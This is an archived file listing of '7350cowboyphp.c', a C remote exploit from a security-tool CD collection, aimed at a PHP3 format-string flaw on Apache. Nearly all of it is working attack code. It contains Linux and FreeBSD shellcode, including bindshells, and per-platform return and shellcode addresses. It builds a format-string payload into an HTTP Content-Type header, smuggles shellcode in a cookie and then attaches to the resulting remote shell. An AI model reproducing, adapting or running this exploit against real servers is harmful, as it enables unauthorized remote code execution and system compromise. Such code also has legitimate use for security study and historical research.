home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / 7350cowboyphp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  20KB  |  755 lines
  1. /*
  2.  *
  3.  * TESO CONFIDENTIAL - SOURCE MATERIALS
  4.  *
  5.  * This is unpublished proprietary source code of TESO Security.
  6.  * c0wb0y
  7.  * The contents of these coded instructions, statements and computer
  8.  * programs may not be disclosed to third parties, copied or duplicated in
  9.  * any form, in whole or in part, without the prior written permission of
  10.  * TESO Security. 
  11.  * (C) COPYRIGHT TESO Security, 2001
  12.  * All Rights Reserved
  13.  *
  14.  * bug found by scut 2001/12/11
  15.  * further research by smiler, zip, lorian and me.
  16.  * thanks to zip's cool friend for giving me a testbed to play on
  17.  */
  18.  
  19. #include <stdio.h>
  20. #include <stdarg.h>
  21. #include <stdlib.h>
  22. #include <string.h>
  23. #include <unistd.h>
  24. #include <netdb.h>
  25. #include <sys/time.h>
  26. #include <sys/types.h>
  27. #include <sys/socket.h>
  28. #include <netinet/in.h>
  29. #include <arpa/inet.h>
  30. #if !defined(__FreeBSD__)
  31. # include <getopt.h>
  32. #endif
  33.  
  34.  
  35. #define xLITTLE_ENDIAN          1
  36. #define xBIG_ENDIAN             2
  37. #define PERSISTANT              1
  38. #define ESYSLOG                 1
  39. #define EFILE                   2
  40.  
  41. #define COOKIE_SIZE          1000
  42. #define ADDRESS_BUFFER_SIZE   8*4
  43. #define ATTACK_BUFFER_SIZE    500
  44.  
  45.  
  46. struct _platforms
  47. {
  48.    char *version;
  49.    char *description; 
  50.    unsigned long cookie_address;
  51.    unsigned long eip_address;
  52.    int technique;
  53.    int endian;
  54.    int alignment;
  55.    int padding;
  56.    struct _shellcodes *shellcode;
  57. }; 
  58.  
  59.  
  60. struct _shellcodes
  61. {
  62.    char *description;
  63.    int length; /* depreciated */
  64.    char *code;
  65.    char *nop;
  66.    int type;
  67. };
  68.  
  69.  
  70. /* note that the shellcodes may not contain 0x3d '=' */
  71.  
  72. struct _shellcodes shellcodes[] =
  73. {
  74.    {
  75.       "Linux(x86) aleph1's execve shell -> /tmp/la",
  76.       45,
  77.       "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
  78.       "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
  79.       "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/tmp/la",
  80.       "\x90",
  81.       0
  82.    }, {
  83.       "Linux(x86) dup2 shell",
  84.       77,
  85.       /* alarm(0);fork();dup2(1,0);dup2(2,0);execute /bin/sh;exit(0) */
  86. //      "\xcc"
  87.       "\x31\xc0\x31\xdb\x04\x0b\xcd\x80\x31\xc0\x40\x40\xcd\x80\x85"
  88.       "\xc0\x75\x28\x89\xd9\x31\xc0\x41\x04\x3f\xcd\x80\x31\xc0\x04"
  89.       "\x3f\x41\xeb\x1f\x31\xc0\x5f\x89\x7f\x08\x88\x47\x07\x89\x47"
  90.       "\x0c\x89\xfb\x8d\x4f\x08\x8d\x57\x0c\x04\x0b\xcd\x80\x31\xc0"
  91.       "\x31\xdb\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh",
  92.       "\x90",
  93.       PERSISTANT
  94.    }, {
  95.       "Linux(x86) bindshell on port 3879",
  96.       129,
  97.       "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
  98.       "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
  99.       "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
  100.       "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
  101.       "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
  102.       "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
  103.       "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
  104.       "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh",
  105.       "\x90",
  106.       3879
  107.    }, {
  108.       "FreeBSD(x86) bindshell on port XXXX",
  109.       134,
  110.       "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x61\xeb\x7e\x5f\xc6\x47\x08"
  111.       "\x9a\x89\x47\x09\x89\x47\x0d\xc6\x47\x0d\x07\xc6\x47\x0f\xc3\x50"
  112.       "\x53\x6a\x01\x6a\x02\x8d\x4f\x08\xff\xd1\x89\x47\x24\xb0\x68\x50"
  113.       "\x6a\x10\xb3\x02\x66\x89\x5f\x10\xb3\x45\x66\x89\x5f\x12\x89\x57"
  114.       "\x14\x8d\x5f\x10\x53\xff\x77\x24\xff\xd1\xb0\x6a\x50\x6a\x02\xff"
  115.       "\x77\x24\xff\xd1\xb0\x1e\x50\x52\x52\xff\x77\x24\xff\xd1\x89\xc3"
  116.       "\xb0\x5a\x50\x52\x53\xff\xd1\xb0\x5a\x50\x42\x52\x53\xff\xd1\xb0"
  117.       "\x5a\x50\x42\x52\x53\xff\xd1\xb0\x3b\x31\xdb\x50\x88\x5f\x07\x53"
  118.       "\x89\x7f\x10\x8d\x5f\x10\x53\x57\xff\xd1\xe8\x7d\xff\xff\xff/bin/sh",
  119.       "\x90",
  120.       666
  121.    }, {
  122.       "FreeBSD(x86) execve shellcode by mudge@l0pht.com -> /tmp/la",
  123.       67,
  124.       "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  125.       "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  126.       "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  127.       "\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/la",
  128.       "\x90",
  129.       0
  130.    }, {
  131.       NULL, 0, NULL, 0
  132.    }
  133. };
  134.  
  135.  
  136. #define LINUX_EXECVE         &shellcodes[0]
  137. #define LINUX_DUP2_SHELLCODE &shellcodes[1]
  138. #define LINUX_BINDSHELL      &shellcodes[2]
  139. #define FREEBSD_BINDSHELL    &shellcodes[3]
  140. #define FREEBSD_EXECVE       &shellcodes[4]
  141.  
  142.  
  143. struct _platforms platforms[] =
  144. {
  145.    {
  146.       "PHP/3.0.16 on Apache 1.3.12, static",
  147.       "Slackware Linux 7.0 glibc (DEVEL)",
  148.       0x0815b34c, 0xbfff9b54, //0xbfff9290,  
  149.       3, xLITTLE_ENDIAN,
  150.       1, 124, /* 124 */
  151.       LINUX_BINDSHELL
  152.    }, {
  153.       "PHP/3.0.12 on Apache 1.3.9, static",
  154.       "Slackware Linux 4.0 libc (DEVEL)",
  155.       0x081688e8, 0xbfff9460,
  156.       3, xLITTLE_ENDIAN,
  157.       1, 116,
  158.       LINUX_BINDSHELL
  159.    }, {  
  160.       "PHP/3.0.12 on Apache 1.3.12, static",
  161.       "Slackware Linux 7.0 glibc (DEVEL)",
  162.       0x0814bc88, 0xbfff931c,
  163.       3, xLITTLE_ENDIAN,
  164.       1, 112,
  165.       LINUX_BINDSHELL
  166.    }, {  
  167.       "PHP/3.0.15 on Apache/1.3.12, static",
  168.       "FreeBSD 3.4-STABLE with package apache+php-1.3.12+3.0.15.tgz",
  169.       /* -rwxr-xr-x  1 root  wheel  748095 25   20:28   /usr/local/sbin/apache 
  170. */
  171.       /* /usr/local/sbin/apache: ELF 32-bit LSB executable, Intel 80386, versio
  172. n 1 (FreeBSD), dynamically linked, not stripped */
  173.       0x81250e0, 0xbfbf7260, 3, xLITTLE_ENDIAN, 1, 112,
  174.       FREEBSD_EXECVE
  175.    }, {
  176.       NULL, NULL, 0L, 0L, 0, 0, 0, 0, NULL
  177.    }
  178. };  
  179.  
  180.  
  181. char shellcode_buffer[COOKIE_SIZE+1];
  182. char attack_buffer[ATTACK_BUFFER_SIZE+1];
  183. char pad_buffer[256];
  184. char prepend_buffer[256];
  185. char append_buffer[256];
  186. struct in_addr ina;
  187. int debug_mode = 0;
  188. int emethod = 0;
  189. int sock = -1;
  190.  
  191.  
  192. int failure(char *format, ...)
  193. {
  194.    va_list va;
  195.  
  196.    fprintf (stderr, "  [-]: ");
  197.    
  198.    va_start (va, format);
  199.    vfprintf (stderr, format, va);
  200.    va_end (va);
  201.  
  202.    fprintf (stderr, "\n");
  203.    fflush (stderr);
  204.    
  205.    exit(-1);
  206. }
  207.  
  208.  
  209. #undef DEBUG
  210.  
  211.  
  212. void technique_3(u_long eip_addr, u_long shellcode_addr, u_int previous)
  213. {
  214.    int i;
  215.    unsigned int tmp = 0;
  216.    unsigned int copied = previous;
  217.    unsigned int num[4] = 
  218.    { 
  219.       (unsigned int) (shellcode_addr & 0x000000ff),
  220.       (unsigned int)((shellcode_addr & 0x0000ff00) >> 8),
  221.       (unsigned int)((shellcode_addr & 0x00ff0000) >> 16),
  222.       (unsigned int)((shellcode_addr & 0xff000000) >> 24)
  223.    };
  224.    
  225.    memset (prepend_buffer, '\0', sizeof(prepend_buffer));
  226.    memset (append_buffer, '\0', sizeof(append_buffer));
  227.    
  228.    for (i = 0; i < 4; i++)
  229.    {
  230.       while (copied > 0x100)
  231.          copied -= 0x100;
  232.       
  233. #ifdef DEBUG   
  234.       if (debug_mode)
  235.          printf ("[#]  num[%d] = %d (0x%02x), copied: %d\n", i, num[i], num[i],
  236.  copied);
  237. #endif         
  238.  
  239.       if ( (i > 0) && (num[i-1] == num[i]) ) /* copied == num[i], no change */
  240.       {
  241.          strcat (append_buffer, "%n");
  242. #ifdef DEBUG
  243.          if (debug_mode)
  244.             printf ("  [+]  num[%d] == num[%d-1], appending \"%%n\"\n", i, i);
  245. #endif
  246.       } else if (copied < num[i])
  247.       {
  248.          if ( (num[i] - copied) <= 10)
  249.          {
  250. #ifdef DEBUG
  251.             if (debug_mode)
  252.                printf ("  [+]  num[%d] > %d: %d bytes, skipping use of %%.u\n",
  253.  i, copied, (num[i] - copied));
  254. #endif
  255.             sprintf (append_buffer+strlen(append_buffer), "%.*s", (int)(num[i] 
  256. - copied), "PORTALPORTAL");
  257.             copied += (num[i] - copied);
  258.             strcat (append_buffer, "%n");
  259.          } else {
  260. #ifdef DEBUG
  261.             if (debug_mode)
  262.                printf ("  [+]  num[%d] > %d: %d bytes, using %%.u\n", i, copied
  263. , (num[i] - copied));
  264. #endif
  265.             sprintf (append_buffer+strlen(append_buffer), "%%.%du", num[i] - copied);
  266.             copied += (num[i] - copied);
  267.             strcat (append_buffer, "%n");
  268.             strcat (prepend_buffer, "AAAA"); /* dummy */
  269.          }
  270.          
  271.       } else //if (copied > num[i])
  272.       {
  273. #ifdef DEBUG
  274.          if (debug_mode)
  275.             printf ("  [+]  num[%d] < %d: %d bytes, increasing\n", i, copied, (
  276. copied - num[i]));
  277. #endif
  278.          tmp = ((num[i] + 0xff) - copied);
  279.          sprintf (append_buffer+strlen(append_buffer), "%%.%du", tmp);
  280.          copied += ((num[i] + 0xff) - copied);
  281.          strcat (append_buffer, "%n");
  282.          strcat (prepend_buffer, "AAAA");
  283.       }
  284.       sprintf (prepend_buffer+strlen(prepend_buffer), "%c%c%c%c",
  285.          (unsigned char) ((eip_addr+i) & 0x000000ff),
  286.          (unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8),
  287.          (unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16),
  288.          (unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
  289.    }
  290.  
  291.    while (strlen(prepend_buffer) < ADDRESS_BUFFER_SIZE)
  292.       strcat (prepend_buffer, "X");
  293.  
  294.    if (debug_mode)
  295.    {
  296.       printf ("\nGeneration complete:\nPrepend: ");
  297.       for (i = 0; i < strlen(prepend_buffer); i++)
  298.       {
  299.          if ( ((i % 4) == 0) && (i > 0) )
  300.             printf (".");
  301.          printf ("%02x", (unsigned char)prepend_buffer[i]);
  302.       }
  303.       printf ("\nAppend: %s\n", append_buffer);
  304.    }
  305.  
  306.    return;   
  307. }
  308.  
  309.  
  310. void preparation(struct _platforms *pf)
  311. {
  312.    int written_bytes = 0;
  313.    int i;
  314.    
  315.    /* phase 1: put our nops and the shellcode in huge buffer */
  316.  
  317.    memset (shellcode_buffer, '\0', sizeof(shellcode_buffer));
  318.    for (i = 0; i < COOKIE_SIZE - pf->shellcode->length; )
  319.    {
  320.       memcpy (&shellcode_buffer[i], pf->shellcode->nop, strlen(pf->shellcode->nop));
  321.       i += strlen(pf->shellcode->nop);
  322.    }
  323.    memcpy (&shellcode_buffer[COOKIE_SIZE - pf->shellcode->length],
  324.       pf->shellcode->code, pf->shellcode->length+1);
  325.    
  326.    /* phase 2: start filling in our attack buffer */
  327.  
  328.    memset (attack_buffer, '\0', sizeof(attack_buffer));
  329.    strcpy (attack_buffer, "Content-Type: multipart/form-data; ");
  330.    for (i = 0; i < pf->alignment; i++)
  331.       strcat (attack_buffer, "Z");
  332.    
  333.    written_bytes = strlen("The Content-Type string was: \"multipart/form-data; 
  334. ");
  335.    written_bytes += pf->alignment;
  336. /*
  337.    switch (emethod)
  338.    {
  339.       case EFILE:
  340.          written_bytes += 0;
  341.          break;
  342.  
  343.       case ESYSLOG:
  344.          written_bytes += 47;
  345.          break;
  346.    }
  347. */
  348.    written_bytes += 47;
  349.  
  350.    /* phase 3: set up the correct padding */
  351.  
  352.    memset (pad_buffer, '\0', sizeof(pad_buffer));
  353.    i = pf->padding;
  354.  
  355.    while (i >= 4)
  356.    {
  357. /*
  358.       strcpy (pad_buffer+strlen(pad_buffer), "%20.0f");
  359.       written_bytes += 20;
  360.       i -= 8;
  361. */
  362.       strcat (pad_buffer, "%c");
  363.       written_bytes += 1;
  364.       i -= 4;
  365.    }
  366.  
  367. //   written_bytes += ADDRESS_BUFFER_SIZE;
  368.    
  369.    /* phase 4: set up the address and impact buffers */
  370.  
  371.    switch (pf->technique)
  372.    {
  373.        case 1:
  374.           /* bgennum() */
  375.        case 2:
  376.           /* tgennum() */
  377.        case 3:
  378.           technique_3 (pf->eip_address, pf->cookie_address, written_bytes);
  379.           break;
  380.  
  381.        default:
  382.           failure ("Unrecognized technique: \"%d\".\n", pf->technique);
  383.           break; /* never reached */
  384.    }
  385.  
  386.    /* phase 5: assemble the attack_buffer */
  387.  
  388.    strcat (attack_buffer, prepend_buffer);
  389.    strcat (attack_buffer, pad_buffer);
  390.    strcat (attack_buffer, append_buffer);
  391.  
  392.    while (strlen(attack_buffer) < ATTACK_BUFFER_SIZE)
  393.       strcat (attack_buffer, ".");
  394.  
  395.    if (debug_mode)
  396.    {
  397.       printf ("  [$] Attack buffer is:\n");
  398.       for (i = 0; i < strlen(attack_buffer); i++)
  399.          printf ("%02x  ", (unsigned char)attack_buffer[i]);
  400.       printf ("\n  [$] That is,\n");
  401.       for (i = 0; i < strlen(attack_buffer); i++)
  402.          printf ("%c", (unsigned char)attack_buffer[i]);
  403.       printf ("\n");
  404.    }
  405.  
  406.    return;
  407. }
  408.  
  409.  
  410. struct in_addr *hostname_resolve(char *hostname, int show)
  411. {
  412.    struct hostent *he = NULL;
  413.  
  414.    if ( (inet_aton(hostname, &ina)) == 0)
  415.    {
  416.       if ( (he = gethostbyname(hostname)) == NULL)
  417.          failure ("Unable to resolve %s.\n", hostname);
  418.  
  419.       memcpy (&ina, he->h_addr, he->h_length);
  420.       if (show)
  421.          printf ("  [+] Resolved %s to %s.\n", hostname, inet_ntoa(ina));
  422.    }
  423.  
  424.    return (&ina);
  425. }
  426.  
  427.  
  428. int do_connect(char *hostname, int port, int do_resolve)
  429. {
  430.    struct sockaddr_in sin;
  431.    struct in_addr *in;
  432.    int sockie = -1;
  433.  
  434.    in = hostname_resolve(hostname, do_resolve);
  435.    
  436.    if ( (sockie = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  437.       failure ("Unable to get a socket.\n");
  438.  
  439.    memset (&sin, '\0', sizeof(struct sockaddr_in));
  440.  
  441.    sin.sin_family      = PF_INET;
  442.    sin.sin_port        = htons(port);
  443.    sin.sin_addr.s_addr = in->s_addr;
  444.    
  445.    if ( (connect (sockie, (struct sockaddr *)&sin, sizeof(struct sockaddr))) < 
  446. 0)
  447.       failure ("Unable to connect to %s:%d.\n", hostname, port);
  448.  
  449.    return (sockie);
  450. }
  451.  
  452.  
  453. /* FIX ME, let this only read one byte at a time, and stop on newlines! */
  454.  
  455.  
  456. int receive(char *buffer, size_t size)
  457. {
  458.    struct timeval tv;
  459.    fd_set fds;
  460.    int i = -1;
  461.    
  462.    tv.tv_sec  = 5;
  463.    tv.tv_usec = 0;
  464.  
  465.    FD_ZERO (&fds);
  466.    FD_SET  (sock, &fds);
  467.    
  468.    i = select(sock+1, &fds, NULL, NULL, &tv);
  469.    
  470.    if (i < 0)
  471.       return (-1);
  472.    
  473.    if (!FD_ISSET(sock, &fds))
  474.       return (-2);
  475.    
  476.    (void)read (sock, buffer, size);
  477.    
  478.    return (0);
  479. }
  480.  
  481.  
  482. int transmit(char *format, ...)
  483. {
  484.    char buffer[8192];
  485.    struct timeval tv;
  486.    fd_set fds;
  487.    va_list va;
  488.    int i = -1;
  489.    
  490.    tv.tv_sec  = 5;
  491.    tv.tv_usec = 0;
  492.  
  493.    FD_ZERO (&fds);
  494.    FD_SET  (sock, &fds);
  495.    
  496.    i = select(sock+1, NULL, &fds, NULL, &tv);
  497.    
  498.    if (i < 0)
  499.       return (-1);
  500.    
  501.    if (!FD_ISSET(sock, &fds))
  502.       return (-2);
  503.    
  504.    memset (buffer, '\0', sizeof(buffer));
  505.    
  506.    va_start (va, format);
  507.    vsnprintf (buffer, sizeof(buffer)-1, format, va);
  508.    va_end (va);
  509.    
  510.    (void)write (sock, buffer, strlen(buffer));
  511.    
  512.    return (0);
  513. }
  514.  
  515.  
  516.  
  517. void usage(char *program_name)
  518. {
  519.    int i;
  520.  
  521.    printf ("                       PHP3 REMOTE EXPLOIT - June 2000\n");
  522.    
  523.    printf ("%s <victim> <-s systype> <-f script> <-m ...> [options]\n", program_name);
  524.    printf ("   -s: Remote system type (must precede other arguments).\n");
  525.    printf ("   -f: A PHP3 script on the remote server (e.g. / or /index.php3.\n
  526. ");
  527.    printf ("   -m: Method ('syslog' or 'file')\n");
  528.    printf ("   -P: Port to use (default 80, of course).\n");
  529.    printf ("   -C: Perform a version check on the remote host.\n");
  530.    printf ("   -P: Alter the number of bytes needed for padding.\n");
  531.    printf ("   -S: Change the shellcode to be used.\n");
  532.    printf ("   -r: Specify the EIP address.\n");
  533.    printf ("   -R: Change the address of the shellcode.\n");
  534.    printf ("   -d: Toggle debug-mode.\n");
  535.    printf ("Available system types:\n");
  536.  
  537.    for (i = 0; platforms[i].version != NULL; i++)
  538.       printf ("   %d:  %s; %s\n", i, platforms[i].version, platforms[i].description);
  539.  
  540.    printf ("Available shellcodes:\n");
  541.    for (i = 0; shellcodes[i].description != NULL; i++)      
  542.       printf ("   %d:  %s\n", i, shellcodes[i].description);
  543.  
  544.    exit (0);
  545. }
  546.  
  547.  
  548. void bindshell(int rsock)
  549. {
  550.    char buf[4096];
  551.    fd_set fds;
  552.    struct timeval tv;
  553.    int i, r;
  554.  
  555.    printf ("  [+] Running bindshell:\n");
  556.  
  557.    while (1)
  558.    {
  559.       FD_ZERO (&fds);
  560.       FD_SET  (0, &fds); /* stdin */
  561.       FD_SET  (rsock, &fds);
  562.       tv.tv_sec  = 1;
  563.       tv.tv_usec = 0;
  564.  
  565.       i = select (rsock+1, &fds, NULL, NULL, &tv);
  566.  
  567.       if (i < 0)
  568.       {
  569.          close (rsock);
  570.          failure ("Select() returned an error.\n");  
  571.       }
  572.  
  573.       if (i == 0) /* no change */
  574.          continue;
  575.  
  576.       if (FD_ISSET (0, &fds))
  577.       {
  578.          memset (buf, '\0', sizeof(buf));
  579.          i = read(0, buf, sizeof(buf)-1);
  580.  
  581.          if (i < 0)
  582.             failure ("What the heck happened to your computer?\n");
  583.  
  584.          if (i > 0)
  585.          {
  586.             r = write (rsock, buf, i);
  587.             if (r < 0)
  588.             {
  589.                close (rsock);
  590.                failure ("Unable to transmit data, connection terminated.\n");
  591.             }
  592.          }
  593.       }
  594.  
  595.       if (FD_ISSET (rsock, &fds))
  596.       {
  597.          memset (buf, '\0', sizeof(buf));
  598.          i = read(rsock, buf, sizeof(buf)-1);
  599.  
  600.          if (i <= 0)
  601.          {
  602.             close (rsock);
  603.             failure ("The connection was terminated.\n");
  604.          }
  605.  
  606.          printf ("%s", buf);
  607.       }
  608.    }
  609.  
  610.    return; /* never reached */
  611. }
  612.  
  613.  
  614. int main(int argc, char **argv)
  615. {
  616.    char *program_name = argv[0];
  617.    char *victim = NULL;
  618.    char *script = NULL;
  619.    int do_version_check = 0;
  620.    int systype = -1;
  621.    int version = 0;
  622.    int port = 80;
  623.    int c;
  624.    
  625.    if (argc < 2)
  626.       usage(argv[0]);
  627.       
  628.    victim = (char *)strdup(argv[1]);
  629.    if (victim == NULL)
  630.       failure ("Memory allocation failed.\n");
  631.  
  632.    argv++; argc--;
  633.    
  634.    while ( (c = getopt(argc, argv, "p:P:s:S:r:R:C:f:m:hd")) != EOF)
  635.    {
  636.       switch (c)
  637.       {
  638.          case 'P':
  639.             port = atoi(optarg);
  640.             break;
  641.     
  642.          case 's':
  643.             systype = atoi(optarg);
  644.             if (systype > 3)
  645.                usage(program_name);
  646.             break;
  647.             
  648.          case 'S':
  649.             if (systype >= 0)
  650.                platforms[systype].shellcode = &shellcodes[atoi(optarg)];
  651.             else
  652.                printf ("  [-] Warning: S argument ignored because systype has n
  653. ot been selected.\n");
  654.             break;
  655.  
  656.          case 'C':
  657.             do_version_check = 0;
  658.             break;
  659.  
  660.          case 'd':
  661.             debug_mode = !debug_mode;
  662.             break;
  663.             
  664.          case 'f':
  665.             script = (char *)strdup(optarg);
  666.             if (script == NULL)
  667.                failure ("Buy more RAM!\n");
  668.             break;
  669.  
  670.          case 'm':
  671.             if (!strcasecmp (optarg, "syslog"))
  672.                emethod = ESYSLOG;
  673.             else if (!strcasecmp (optarg, "file"))
  674.                emethod = EFILE;
  675.             else
  676.                failure ("Known methods are: 'syslog' and 'file'.\n");
  677.             break;
  678.  
  679.          case 'p':
  680.             if (systype >= 0)
  681.                platforms[systype].padding = atoi(optarg);
  682.             else
  683.                printf ("  [-] Warning: -p argument ignored because systype has 
  684. not been selected.\n");
  685.             break;
  686.  
  687.          case 'r':
  688.             if (systype >= 0)
  689.                platforms[systype].eip_address = strtoul(optarg, &optarg, 16);
  690.             else
  691.                printf ("  [-] Warning: -r argument ignored because systype has 
  692. not been selected.\n");
  693.             break;
  694.  
  695.          case 'R':
  696.             if (systype >= 0)
  697.                platforms[systype].cookie_address = strtoul(optarg, &optarg, 16)
  698. ;
  699.             else
  700.                printf ("  [-] Warning: -R argument ignored because systype has 
  701. not been selected.\n");
  702.             break;
  703.  
  704.          default:
  705.             usage(program_name);
  706.             break; /* not reached */
  707.       }     
  708.    }
  709.  
  710.    if ( (systype < 0) || (script == NULL) || (emethod == 0) )
  711.       usage(program_name);
  712.  
  713.    printf ("  [+] Attacking: %s:%d.\n", victim, port);
  714.    printf ("  [+] System type: %s: %s.\n", platforms[systype].version,
  715.       platforms[systype].description);
  716.    printf ("  [+] Shellcode: %s\n", platforms[systype].shellcode->description);
  717.    printf ("  [+] EIP address:       %#08lx\n", platforms[systype].eip_address)
  718. ;
  719.    printf ("  [+] Shellcode address: %#08lx\n", platforms[systype].cookie_address);
  720.    
  721.    sock = do_connect(victim, port, 1);
  722.    
  723.    preparation((struct _platforms *)&platforms[systype]);
  724.  
  725.    transmit ("POST %s?STRENGUR HTTP/1.0\n", script);
  726.    transmit ("Cookie: %s\n", shellcode_buffer);
  727.    transmit ("Host: localhost\n");
  728.    transmit ("%s\n", attack_buffer);
  729.    transmit ("Content-Length: 1337\n\n");
  730.    transmit ("too bad, dude. too bad.\n\n");
  731.  
  732.    switch (platforms[systype].shellcode->type)
  733.    {
  734.       case 0:
  735.          break;
  736.  
  737.       case PERSISTANT:
  738.          bindshell (sock);
  739.          break;
  740.  
  741.       default:
  742.          close (sock);
  743.  
  744.          sock = do_connect (victim, platforms[systype].shellcode->type, 0);
  745.          bindshell (sock);
  746.  
  747.          break;
  748.    }
  749.  
  750.    close (sock);
  751.  
  752.    return (0);
  753. }
  754.  
  755.